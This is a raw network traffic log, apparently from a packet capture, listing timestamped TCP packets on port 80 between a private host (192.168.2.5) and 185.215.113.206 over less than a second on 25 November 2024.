Nov 25, 2024 14:14:14.827251911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.828162909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.828213930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.828304052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.828351974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.829169989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.829221010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.829682112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.829734087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.830123901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.830176115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.830215931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.830269098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.831147909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.831232071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.831295013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.831368923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.832154036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.832201958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.832300901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.832349062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.833188057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.833249092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.833304882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.833369017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.834285021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.834336042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.834373951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.834414005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.835228920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.835279942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.835727930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.835774899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.836190939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.836240053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.836371899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.836416960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.837193012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.837243080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.837404966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.837444067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.838215113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.838263988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.838289022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.838341951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.839231014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.839284897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.839396954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.839466095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.840245008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.840305090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.840470076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.840514898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.841237068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.841252089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.841294050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.841371059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.842170954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.842228889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.842319012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.842360973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.843230009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.843296051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.843377113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.843426943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.844201088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.844264030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.844444990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.844547033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.845232964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.845276117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.845282078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.845321894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.846215010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.846396923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.846429110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.846493959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.847201109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.847254038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.847702026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.847755909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.848236084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.848311901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.848390102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.848438025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.849184036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.849232912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.929672003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.929702044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.929867983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.929919004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.929965019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.929991961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.930033922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.930716991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.930778027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.930795908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.930835962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.931698084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.931746006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.932003021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.932050943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.932508945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.932555914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.932682037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.932725906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.933255911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.933301926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.933554888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.933594942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.933892012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.933938980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.933958054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.934003115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.934715986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.934763908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.934776068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.934849024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.935379982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.935425043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.935497046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.935539007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.936311007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.936359882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.936403990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.936449051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.937100887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.937139988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.937165976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.937177896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.937757015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.937807083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.938126087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.938173056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.938385963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.938430071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.939145088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.939203978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.939271927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.939323902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.939354897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.939398050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.940165043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.940212965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.940227985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.940268040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.941087961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.941143036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.941972971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.942017078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.942106962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.942120075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.942154884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.942997932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.943044901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.943196058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.943242073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.943994999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.944048882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.944307089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.944353104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.945033073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.945044994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.945081949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.019336939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.019454002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.019651890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.019665956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.019712925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.019750118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.019797087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.020642042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.020706892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.020709038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.020757914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.021629095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.021678925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.021794081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.021843910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.022747040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.022759914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.022813082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.023721933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.023777008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.023897886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.023946047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.024674892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.024732113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.024930000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.024980068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.025770903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.025820971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.025994062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.026040077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.026767015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.026820898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.027112961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.027175903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.027725935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.027782917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.027918100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.027966022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.068996906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.069168091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.069191933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.069247007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.069492102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.069538116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.069789886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.069850922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.070596933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.070610046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.070677996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.071449041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.071501017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.071646929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.071697950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.072417974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.072469950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.072724104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.072767019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.073416948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.073466063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.073736906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.073817968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.074424982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.074476957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.074572086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.074623108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.075571060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.075640917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.075715065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.075762987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.076634884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.076699972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.076883078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.076936007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.077482939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.077569008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.078150988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.078202009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.078464985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.078478098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.078516960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.078553915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.079418898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.079471111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.079530001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.079581976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.080463886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.080511093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.081249952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.081305981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.081484079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.081496954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.081564903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.081564903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.082473040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.082528114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.082781076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.082854033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.083503008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.083518028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.083555937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.083584070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.084472895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.084561110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.084636927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.084682941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.085445881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.085496902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.085515022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.085556984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.086492062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.086548090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.086889029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.086958885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.087459087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.087507010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.087517023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.087563992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.088455915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.088526964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.088876963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.088926077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.089525938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.089582920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.089615107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.089657068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.090461016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.090517998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.090671062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.090720892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.091424942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.091474056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.174041033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.174129009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.174191952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.174241066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.174416065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.174458981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.174541950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.174792051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.176158905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.176280022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.176429033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.176479101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.178457022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.178529978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.178714037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.178772926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.179296970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.179308891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.179368019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.179402113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.179802895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.179864883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.179915905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.179960966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.180435896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.180491924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.180763960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.180895090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.181163073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.181226015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.181313038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.181360960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.181777954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.181865931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.182105064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.182302952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.182526112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.182584047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.183120966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.183233976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.183418989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.183491945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.183948994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.184001923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.184484959 CET	80	49704	185.215.113.206	192.168.2.5
